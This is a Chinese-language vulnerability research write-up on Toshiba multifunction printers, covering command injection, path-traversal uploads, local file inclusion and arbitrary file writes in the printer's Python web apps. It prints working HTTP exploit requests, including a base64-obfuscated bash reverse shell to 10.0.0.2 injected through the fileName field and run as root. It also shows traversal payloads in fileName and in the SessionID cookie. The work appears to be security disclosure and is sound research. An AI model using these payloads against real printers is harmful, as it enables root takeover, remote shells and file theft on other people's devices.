drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 .

./initial/10000000-0000-0000-0000-500000000000:
total 184
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 .
-rwxrwxrwx 1 apache trusted 176778 Mar 15 11:49 apppackage.zip
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..

./initial/10000000-0000-0000-0000-500000000001:
total 256
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 .
-rwxrwxrwx 1 apache trusted 250054 Mar 15 11:50 apppackage.zip

./latest:
total 16
drwxrwxrwx 4 root trusted 4096 Mar 15 11:49 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 10000000-0000-0000-0000-500000000000
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 .

./latest/10000000-0000-0000-0000-500000000000:
total 184
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:49 .
-rwxrwxrwx 1 apache trusted 176778 Mar 15 11:49 apppackage.zip
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..

./latest/10000000-0000-0000-0000-500000000001:
total 256
drwxrwxrwx 4 root trusted 4096 Mar 15 11:50 ..
drwxrwxrwx 2 apache trusted 4096 Mar 15 11:50 .
-rwxrwxrwx 1 apache trusted 250054 Mar 15 11:50 apppackage.zip

应用程序目录也不安全,因为到处都有不正确的权限:

内容/application/app

bash-4.1# pwd
/application/app
bash-4.1# ls -la
total 16
drwxr-xr-x 4 root root 4096 Mar 15 11:50 .
drwxr-xr-x 8 root root 4096 Mar 15 11:49 ..
drwx--x--- 6 apache trusted 4096 Apr 10 18:42 10000000-0000-0000-0000-500000000000
drwx--x--- 6 apache trusted 4096 Mar 15 11:50 10000000-0000-0000-0000-500000000001
bash-4.1# ls -la /application/app/10000000-0000-0000-0000-500000000000
total 24
drwx--x--- 6 apache trusted 4096 Apr 10 18:42 .
drwxr-xr-x 4 root root 4096 Mar 15 11:50 ..
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 appjob
drwx--x--- 4 apache trusted 4096 Mar 15 11:49 appstorage
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 config
drwx--x--- 7 apache trusted 4096 Mar 15 11:50 package
bash-4.1#

分析/application/app/10000000-0000-0000-0000-500000000000,权限不安全:

10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views:
total 48
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
-rwxrwxrwx 1 apache trusted 67 Apr 11 2022 __init__.py
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
-rwxrwxrwx 1 apache trusted 6334 Apr 11 2022 command.py
-rwxrwxrwx 1 apache trusted 2882 Apr 11 2022 device.py
-rwxrwxrwx 1 apache trusted 1018 Apr 11 2022 history.py
-rwxrwxrwx 1 apache trusted 1144 Apr 11 2022 localization.py
-rwxrwxrwx 1 apache trusted 982 Apr 11 2022 resultstorage.py
-rwxrwxrwx 1 apache trusted 1933 Apr 11 2022 storage.py
-rwxrwxrwx 1 apache trusted 3103 Apr 11 2022 view.py

10000000-0000-0000-0000-500000000000/package/program/settingapp/server/worker:
total 16
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
-rwxrwxrwx 1 apache trusted 1892 Apr 11 2022 commandthread.py


package/program/settingapp/server/worker:
total 16
-rwxrwxrwx 1 apache trusted 1892 Apr 11 2022 commandthread.py
drwx--x--- 5 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 __pycache__
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 .

package/program/settingapp/server/worker/__pycache__:
total 12
-rw-rw-rw- 1 apache trusted 1968 Apr 10 17:42 commandthread.cpython-35.pyc
drwx--x--- 3 apache trusted 4096 Apr 10 17:42 ..
drwxrwxrwx 2 apache trusted 4096 Apr 10 17:42 .

package/program/backgroundapp:
total 68
-rwxrwxrwx 1 apache trusted 21409 Apr 11 2022 filefunction.py
-rwxrwxrwx 1 apache trusted 3738 Apr 11 2022 exclusivecontrol.py
-rwxrwxrwx 1 apache trusted 24233 Apr 11 2022 eventhandler.py
-rwxrwxrwx 1 apache trusted 1326 Apr 11 2022 backgroundapp.py
drwx--x--- 5 apache trusted 4096 Mar 15 11:49 ..
drwx--x--- 3 apache trusted 4096 Mar 15 11:50 .
drwxrwxrwx 2 root trusted 4096 Mar 15 11:50 __pycache__

默认情况下,应用程序存储在里面/application/app

我们可以确认 Python 脚本具有不安全的权限,允许任何本地用户覆盖它们并获得本地权限提升。

使用不安全上传功能的远程攻击者将能够覆盖任何 Python 文件并获取远程代码执行。

本地攻击者可以覆盖任何文件。

详细信息 – 远程代码执行 – 以 root 身份进行命令注入

据观察,远程命令程序允许攻击者以 root 身份执行远程代码。

当上传 fileName 类型的文件时|id,该命令id将以 root 身份在打印机上执行。fileName变量内部存在命令注入:

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

HTTP 请求为:

POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/execute HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3

{"file":"test","fileName":"|id"}

并且该命令id将以 root 身份在打印机上执行:

2023/04/10 18:16:07 CMD:UID=0 PID=10794 | sh -c chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test3.test|id
2023/04/10 18:16:07 CMD:UID=0 PID=10796 | id
2023/04/10 18:16:07 CMD:UID=0 PID=10795 | chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test3.test

提供了一个 PoC,允许以 root 身份获取连接回 shell:

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

HTTP 请求为:

POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/execute HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 345
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3

{"file":"UEsDBAoAAAAAAEMyilbGNbk7BQAAAAUAAAAIABwAdGVzdC50eHRVVAkAA13iM2Tu/TNkdXgLAAEE6AMAAAToAwAAdGVzdApQSwECHgMKAAAAAABDMopWxjW5OwUAAAAFAAAACAAYAAAAAAABAAAAgIEAAAAAdGVzdC50eHRVVAUAA13iM2R1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAARwAAAAAA","fileName":"test-exec.zip$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==|base64 -d|bash)"}

恶意payload使用base64生成,以删除坏字符。这是一个标准的连接回shell,通过TCP连接到10.0.0.2的80端口:

kali% echo 'bash -i >& /dev/tcp/10.0.0.2/80 0>&1' | base64 -w0;echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==

结果命令在打印机上执行:

root     13040  0.0  0.1  13260  2344 ?        S    18:50   0:00 sh -c chmod 666 /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal//remotecommand//test-exec.zip$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMi84MCAwPiYxCg==|base64 -d|bash)

我们可以确认该命令是从 Python 的父进程 alapmanager 执行的:

bash-4.1# pstree 
init-+-MemoryCaptureSt---MemoryCapture---sleep
|-aleSCL
|-alhp9100---21*[{alhp9100}]
|-2*[alipp---2*[{alipp}]]
|-allld2d
|-alllmnr
|-allprng---21*[{allprng}]
|-alnetefiRemotei
|-alstage2-+-alstage2
| `-23*[{alstage2}]
|-alusbPrint---2*[{alusbPrint}]
|-alwsdiscovery
|-alwsmex
|-alwsprint---{alwsprint}
|-alwsscanner---3*[{alwsscanner}]
|-bash---pspy32---9*[{pspy32}]
|-cissm-+-alAddressBookMg
| |-alCloning
| |-alExportImport
| |-alLogRetriever
| |-alLogmanager---{alLogmanager}
| |-alPanelStartLED---{alPanelStartLE}
| |-alPanelUIMessag---{alPanelUIMessa}
| |-alServiceUIPlug
| |-alUiFrameWork---21*[{alUiFrameWork}]
| |-alViewPlugin---3*[{alViewPlugin}]
| |-alaccountmgr---2*[{alaccountmgr}]
| |-alappmanager-+-python-+-sh---sh---bash---bash---pstree
| | | `-5*[{python}]
| | |-python---5*[{python}]
| | `-15*[{alappmanager}]
[...]

存在漏洞的代码位于/application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/command.pyPython 脚本中,来源位于第 34 行和第 59 行:

  1 #!/usr/bin/env python
2 # -*- coding: utf-8 -*-
3 # Copyright(c) 2021 Toshiba Tec Corporation, All Rights Reserved.
[...]
23 class CommandView(View):
24
25 @view_config(route_name=View.BASE_ROUTE_NAME + 'upload_command_file', request_method='POST', renderer='json', xhr=True)
26 def upload_command_file(self):
27 Logger.i("start upload command file to appstorage")
[...]
30 storage_rootpath = FileHandler.getStorageRootPath(storage_type="normal")
[...]
33 # configure file path that specified using File API
34 payloads = self.request.json_body [1] get value from the attacker
35 Logger.i("request body: " + str(payloads))
[...]
59 commandRunner = CommandThread(payloads["fileName"]) [2] execute a commands with the name controlled by the attacker
60 commandthread = eapi.apps.AppThread.create(commandRunner)
61 commandthread.start()

该类CommandThread已实现/application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/worker/commandthread.py并且是一个包装器,remoteCommandObj.execute()我们可以在其中找到接收器:

33             file_path = '/command/' + str(self.commandName)
34
35 remoteCommandObj = eapi.apps.RemoteCommand.create()
36 result = remoteCommandObj.execute(eapi.apps.AppStorageType.AppStorageType_Normal, file_path, eapi.apps.RemoteCommandUser.RemoteCommandUser_Admin, True, result_dir_path)
37 # Logger.w(str(result))
38
39 res_status = result.getStatus()
40 ExcecutionStatus.STATUS = str(res_status)
41 Logger.w("command status: " + ExcecutionStatus.STATUS)
42 command_type = result.getType()
43 ExcecutionStatus.COMMANDTYPE = command_type = str(command_type)
44 Logger.w("command type: " + ExcecutionStatus.COMMANDTYPE)
45 ExcecutionStatus.RESULTFILENAME = result.getFileName().split('/')[-1]
远程攻击者可以以 root 身份执行远程代码。

详细信息 – 远程代码执行 – 不安全上传

据观察,远程命令程序允许攻击者通过覆盖现有文件(例如包含可执行代码的 Python 文件)来获取远程代码执行。
远程命令应用程序允许使用 API 上传文档(作为 zip 文件)/aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/upload_command_file。发送文件名为 的 zip 文件时../,可以覆盖 Python 应用程序目录内的任何文件。
默认情况下,通过远程命令应用程序的 Web 界面上传文件时,该文件将被复制到 3 个不同的目录中:
  • /work/al/tmp/remotecommand/
  • /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal/command/
  • /application/app/10000000-0000-0000-0000-500000000000/appstorage/normal/remotecommand/
/application/app/10000000-0000-0000-0000-500000000000/目录对应于默认安装的远程命令应用程序。
/application/app/10000000-0000-0000-0000-500000000000/目录有几个包含 Python 脚本的目录:
bash-4.1# pwd
/application/app/10000000-0000-0000-0000-500000000000
bash-4.1# ls -la
total 24
drwx--x--- 6 apache trusted 4096 Apr 10 18:40 .
drwxr-xr-x 4 root root 4096 Mar 15 11:50 ..
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 appjob
drwx--x--- 4 apache trusted 4096 Mar 15 11:49 appstorage
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 config
drwx--x--- 7 apache trusted 4096 Mar 15 11:50 package
bash-4.1#

攻击者上传文件名包含以下内容的 zip 文件,../../将能够覆盖以下目录下/application/app/10000000-0000-0000-0000-500000000000及子目录中的任何文件/application/app/10000000-0000-0000-0000-500000000000

向远程命令应用程序发送恶意 HTTP 请求:

POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/upload_command_file HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 278
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3

{"file":"UEsDBAoAAAAAAEMyilbGNbk7BQAAAAUAAAAIABwAdGVzdC50eHRVVAkAA13iM2Tu/TNkdXgLAAEE6AMAAAToAwAAdGVzdApQSwECHgMKAAAAAABDMopWxjW5OwUAAAAFAAAACAAYAAAAAAABAAAAgIEAAAAAdGVzdC50eHRVVAUAA13iM2R1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAARwAAAAAA","fileName":"../../../test-get-cmd.zip"}

生成的文件现在位于/application/app/10000000-0000-0000-0000-500000000000

bash-4.1# ls -la /application/app/10000000-0000-0000-0000-500000000000
total 28
drwx--x--- 6 apache trusted 4096 Apr 10 18:41 .
drwxr-xr-x 4 root root 4096 Mar 15 11:50 ..
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 appjob
drwx--x--- 4 apache trusted 4096 Mar 15 11:49 appstorage
drwx--x--- 2 apache trusted 4096 Mar 15 11:49 config
drwx--x--- 7 apache trusted 4096 Mar 15 11:50 package
-rw-rw-rw- 1 apache trusted 171 Apr 10 18:41 test-get-cmd.zip
bash-4.1#

攻击者可以覆盖远程执行应用程序(在/application/app/10000000-0000-0000-0000-500000000000)中的任何 Python 文件来获取远程代码执行。

存在漏洞的代码位于/application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/command.pyPython 脚本中:

1 #!/usr/bin/env python
2 # -*- coding: utf-8 -*-
3 # Copyright(c) 2021 Toshiba Tec Corporation, All Rights Reserved.
[...]
23 class CommandView(View):
24
25 @view_config(route_name=View.BASE_ROUTE_NAME + 'upload_command_file', request_method='POST', renderer='json', xhr=True)
26 def upload_command_file(self):
27 Logger.i("start upload command file to appstorage")
[...]
30 storage_rootpath = FileHandler.getStorageRootPath(storage_type="normal")
[...]
33 # configure file path that specified using File API
34 payloads = self.request.json_body [1] get value from the attacker
35 Logger.i("request body: " + str(payloads))
[...]
55 command_path = storage_rootpath + '/command/' + str(payloads["fileName"]) [2] generate a path controlled by the attacker
56 with open(command_path.encode('utf-8'), mode='wb') as _file: [3] open this path
57 _file.write(binary_data) [4] write content to the path
[...]

可以看出,存在漏洞的源代码如下:

  • 在第 34 行从攻击者处获取值

  • 根据攻击者在第 55 行提供的值生成路径

  • 在第 56 行打开此路径

  • 将内容写入第 57 行的路径

远程攻击者可以覆盖远程执行应用程序(在/application/app/10000000-0000-0000-0000-500000000000)中的任何 Python 文件来获取远程代码执行。

详细信息 – 远程代码执行 – 不安全上传

据观察,远程命令程序允许攻击者获得远程代码执行能力。

远程命令应用程序允许使用 API 上传文档(作为 zip 文件)/aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/get_command_info。发送文件名为 的 zip 文件时../,可以覆盖 Python 应用程序目录内的任何文件。

向远程命令应用程序发送恶意 HTTP 请求:

POST /aplpx/server/10000000-0000-0000-0000-500000000000/remotecommand/settingapp/command/get_command_info HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 269
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/aplpx/client/10000000-0000-0000-0000-500000000000/index.html?v=1.0.8
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; clicked=0; TopAccessURL=http%3A//10.0.0.1%3A8080/%3FMAIN%3DTOPACCESS; lastVisited=APPLINK; SessionID=Session_02b918cd-3074-4f4f-afd6-396ed3fb7f94; IgnoreSessionTimeout=1; Session=10.0.0.2.c57914f5d5c3263959918454856ac9f3

{"file":"UEsDBAoAAAAAAEMyilbGNbk7BQAAAAUAAAAIABwAdGVzdC50eHRVVAkAA13iM2Tu/TNkdXgLAAEE6AMAAAToAwAAdGVzdApQSwECHgMKAAAAAABDMopWxjW5OwUAAAAFAAAACAAYAAAAAAABAAAAgIEAAAAAdGVzdC50eHRVVAUAA13iM2R1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBOAAAARwAAAAAA","fileName":"test-get-cmd.zip"}

此类文件将存储在里面/application/app/10000000-0000-0000-0000-500000000000/appstorage/normal/command_info/test-get-cmd.zip。使用../将允许攻击者将生成的文件存储在攻击者控制的路径中,例如覆盖 Python 脚本。

存在漏洞的代码位于/application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/command.pyPython 脚本中,fileName攻击者可在第 142 行控制该值:

1 #!/usr/bin/env python
2 # -*- coding: utf-8 -*-
3 # Copyright(c) 2021 Toshiba Tec Corporation, All Rights Reserved.
[...]
113 @view_config(route_name=View.BASE_ROUTE_NAME + 'get_command_info', request_method='POST')
114 def get_command_info(self):
[...]
127 payloads = self.request.json_body
[...]
131 storage_rootpath = FileHandler.getStorageRootPath(storage_type="normal")
[...]
141 binary_data = base64.b64decode(payloads['file'].encode())
142 command_path = storage_rootpath + '/command_info/' + str(payloads["fileName"]) [1] open a file with the path controlled by the attacker
143 with open(command_path.encode('utf-8'), mode='wb') as _file:
144 _file.write(binary_data)
[...]

远程攻击者可以覆盖远程执行应用程序(在/application/app/10000000-0000-0000-0000-500000000000)中的任何 Python 文件来获取远程代码执行。

详细信息 – 本地文件包含

据观察,远程命令程序允许攻击者利用本地文件包含漏洞读取任何文件。

远程命令应用程序允许检索文件。此类代码在 API 内部实现resultstorage

存在漏洞的代码位于/application/app/10000000-0000-0000-0000-500000000000/package/program/settingapp/server/views/resultstorage.pyPython 脚本中。filename第 21 行的值由攻击者控制:

[...]
16 @view_config(route_name=View.BASE_ROUTE_NAME + 'resultstorage')
17 def resultGetStorageFileLink(request):
18 try:
19 Logger.w(str(request))
20 payloads = request.GET
21 filename = payloads["filename"]
22 Logger.w(filename)
23 rootpath = FileHandler.getStorageRootPath("normal")
24
25 path = glob.glob(rootpath + '/*/' + filename)
26 Logger.w(str(path))
27 res = FileResponse(path[0])
28 res.content_type = 'application/zip'
29 res.content_disposition = 'attachment; filename='+filename
30 return res
[...]

文件名变量由攻击者在地址 () 中提供?filename=/path/to/file。由于使用了 Pyramid 中实现的,此文件将被打开并将其内容发送给攻击者FileResponse()

攻击者可以读取打印机上的任何文件。

详细信息 – 远程代码执行 – 不安全上传

在管理 > 应用程序 > 应用程序列表 > 安装应用程序中安装新的应用程序时,可以覆盖任何文件:

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

安装应用程序时,将向打印机发送几个请求:

  1. 第一个请求是 HTTP POST /tapy/server/appmgmt/uploadPackage

  2. 然后 HTTP POST 被发送到/tapy/server/appmgmt/extractPackage

当发送第一个 HTTP POST(到/tapy/server/appmgmt/uploadPackage)时即可发现此漏洞。

东芝多功能打印机 40 个漏洞挖掘过程(第二部分)

/uploadPackage文件中定义了/registration/al/TopAccessPy/server/screenfacade/appmgmt/__init__.py调用该函数的路由upload_package

内容/registration/al/TopAccessPy/server/screenfacade/appmgmt/__init__.py

[...]
11 config.add_route('upload_package', 'uploadPackage', xhr=False)
[...]

视图的实现在/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py文件中完成:

设置了3个重要变量:

  • SessionID在第 179 行,从 cookie 中检索到,

  • packagename在第 188 行从 POST 数据中检索到,

  • package_file在第 189 行从 POST 数据中检索到。

内容/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py

170 @view_config(route_name='upload_package', xhr=False, renderer='string')
171 def upload_package(request):
172 log.warning("++++++++++++++++++++++++++++++++")
173 log.warning("upload_package : Start ")
174 SessionID = ''
175 session = ' '
176 csrfpId = ''
177
178 if 'SessionID' in request.cookies:
179 SessionID = request.cookies['SessionID'] <--------------- SessionID is retrieved from the cookie
180 if 'Session' in request.cookies:
181 session = request.cookies['Session']
182 if 'txtCSRFPID' in request.POST:
183 csrfpId = request.POST['txtCSRFPID']
184
185 log.info('Session ID obtained from request :' + SessionID)
186 log.info('csrfpId obtained from request:' + csrfpId)
187
188 packagename = request.POST['txtSelectedFileName'] <---------- packagename is retrieved from the POST-data
189 package_file = request.POST['idFileName'].file <------------- package_file is retrieved from the POST-data
190
191 validationMap = applicationManagementModel.validate_user(SessionID, session, csrfpId)
192
193 if validationMap['VALIDATION_STATUS'] == 'PASSED':
194 log.info('User Validation : SUCCESS')
195 data = applicationManagementModel.upload_package(packagename, package_file, SessionID)
196 #log.info("Response recieved in an attempt to upload " : " + str(data))
197 log.warning("upload_package : End ")
198 log.warning("++++++++++++++++++++++++++++++++")
199 return data
200 else:
201 log.info('User Validation : FAILURE')
202 log.warning("upload_package : End ")
203 if "HTTP_REQUEST_FORBIDDEN" in validationMap:
204 return HTTPForbidden("Error 403 : Forbidden Request")
205 else:
206 return json.dumps(validationMap)

在执行流程中,在第 191 行,该方法validate_user()被调用但SessionID从未使用,除了将其打印在日志中:

内容/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py

388     @classmethod
389 def validate_user(cls, sessionId, session, csrfpid):
390 log.warning("applicationManagementModel: validate_user start")
391 log.info("Session ID recieved : " + sessionId)

然后,执行流继续到第 195 行,调用文件upload_package中实现的方法/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py,并包含 3 个攻击者控制的变量:

  • SessionID

  • packagename

  • package_file

内容/registration/al/TopAccessPy/server/screenfacade/appmgmt/applicationmanager.py

464     @classmethod
465 def upload_package(cls, packagename, package_file, SessionID):
466 log.warning("applicationManagementModel: upload_package start")
467
468 upload_destination = '/work/al/tmp/upload/' + SessionID + '/'
469 if not os.path.exists(upload_destination):
470 os.makedirs(upload_destination)
471
472 try:
473 log.warning(" upload_package start")
474 #if type(packagename) == str:
475 #packagename = unicode(packagename, "utf-8", errors="ignore")
476 #else:
477 #packagename = unicode(packagename)
478 log.warning(" upload_package start -- test end")
479 #absolute_package_path = os.path.join(upload_destination , packagename).encode()
480 absolute_package_path = str(os.path.join(upload_destination , str(packagename.encode('ascii','ignore'))))
481 with open(absolute_package_path, 'wb') as output_file:
482 shutil.copyfileobj(package_file, output_file)
483
484 return "SUCCESS"
485
486 except Exception as err:
487 log.exception("Error In exitApp(upload_file) : " + str(err))
488 return "FAILURE"

如前所示,攻击者可以完全控制这 3 个变量:

  • SessionID(views.py:179 来自 CookieSessionID变量)

  • packagename(views.py:188 来自 POST-datatxtSelectedFileName变量)

  • package_file(views.py:189 来自 POST-dataidFileName变量)

这 3 个变量未经过滤,可以包含任意值。

在 HTTP 请求中,Sessioncookie 用于检查授权,但SessionID可以设置为任何值,如前所示(该方法中未使用它validate_user)。此SessionID值用于存储结果文件(第 468 行),不进行任何过滤。

执行流程如下:

465     def upload_package(cls, packagename, package_file, SessionID):
[...]

-- SessionID controlled by an attacker, the upload_destination variable contains /work/al/tmp/upload/ + SessionID + /

468 upload_destination = '/work/al/tmp/upload/' + SessionID + '/'
[...]

-- absolute_file_path contains /work/al/tmp/upload/ + SessionID + / + packagename

480 absolute_package_path = str(os.path.join(upload_destination , str(packagename.encode('ascii','ignore'))))
481 with open(absolute_package_path, 'wb') as output_file:

-- and the uploaded file is then stored inside /work/al/tmp/upload/ + SessionID + packagename

482 shutil.copyfileobj(package_file, output_file)

然后攻击者可以SessionID=../../path/to/any/file在 HTTP 请求中设置覆盖任何文件。

最后,该方法upload_file_to_session_folder也存在漏洞(该方法与该方法类似upload_package):

437     @classmethod
438 def upload_file_to_session_folder(cls, filename, fileObj, SessionID):
439 log.warning("applicationManagementModel: upload_file_to_session_folder start")
440 responseMap = {}
441
442 upload_destination = '/work/al/tmp/upload/' + SessionID + '/'
443 if not os.path.exists(upload_destination):
444 os.makedirs(upload_destination)
445
446 try:
447 absolute_file_path = str(os.path.join(upload_destination , str(filename.encode('ascii','ignore'))))
448 responseMap["ABSOLUTE_FILE_PATH"] = absolute_file_path
449 log.warning("absolute_file_path : " + str(absolute_file_path))
450 with open(absolute_file_path, 'wb') as output_file:
451 shutil.copyfileobj(fileObj, output_file)
452
453 log.warning("File upload to session folder completed")
454 log.warning("applicationManagementModel: upload_file_to_session_folder end")
455 responseMap["STATUS"] = "SUCCESS"
456 return responseMap
457
458 except Exception as err:
459 log.exception("Error In exitApp(upload_file_to_session_folder) : " + str(err))
460 responseMap["STATUS"] = "FAILURE"
461 log.warning("applicationManagementModel: upload_file_to_session_folder end")
462 return responseMap
463

概念证明:

当将 SessionID 值设置为 时../../../../dev/shm/,我们可以看到结果文件/dev/shm/b'upload-2.txt'被写入而不是存储在 里面/work/al/tmp/upload/' + SessionID

POST /tapy/server/appmgmt/uploadPackage HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------4065413143858317480519150484
Content-Length: 529
Origin: http://10.0.0.1
Connection: close
Referer: http://10.0.0.1/tapy/client/appmgmt/InstallApplication.html?v=1670357577ta
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DADMIN%26SUB%3DAPPLICATION%26CAT%3DAPPLINK; TopAccessURL=http%3A//10.0.0.1/%3FMAIN%3DTOPACCESS; SessionID=../../../../dev/shm/; clicked=0; lastVisited=APPLINK; IgnoreSessionTimeout=1; Session=10.0.0.2.5389297fae5d47f2c3bbf71fbeefbe5b
Upgrade-Insecure-Requests: 1

-----------------------------4065413143858317480519150484
Content-Disposition: form-data; name="txtCSRFPID"

10.0.0.2.5389297fae5d47f2c3bbf71fbeefbe5b
-----------------------------4065413143858317480519150484
Content-Disposition: form-data; name="txtSelectedFileName"

upload-2.txt
-----------------------------4065413143858317480519150484
Content-Disposition: form-data; name="idFileName"; filename="upload.txt"
Content-Type: text/plain

hi

-----------------------------4065413143858317480519150484--

我们可以在 /dev/shm 中找到生成的文件:

bash-4.1# ls -latr /dev/shm
total 2908
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdktime.lock
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdk.mutex
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdk.lock
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdktempdb
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdkimagetempdb
----rw---- 1 root trusted 16 Oct 27 02:15 sem.ssdkdebugsettings.lock
-rwxr-xr-x 1 root root 0 Oct 27 02:15 m.disableLogs.4
[...]
-rw-rw-rw- 1 apache trusted 3 Oct 27 12:15 b'upload-2.txt'
drwxrwxr-x 2 root root 7840 Oct 27 12:15 .

攻击者可以将文件覆盖为 apache(例如 Python 文件)以获取远程代码执行。

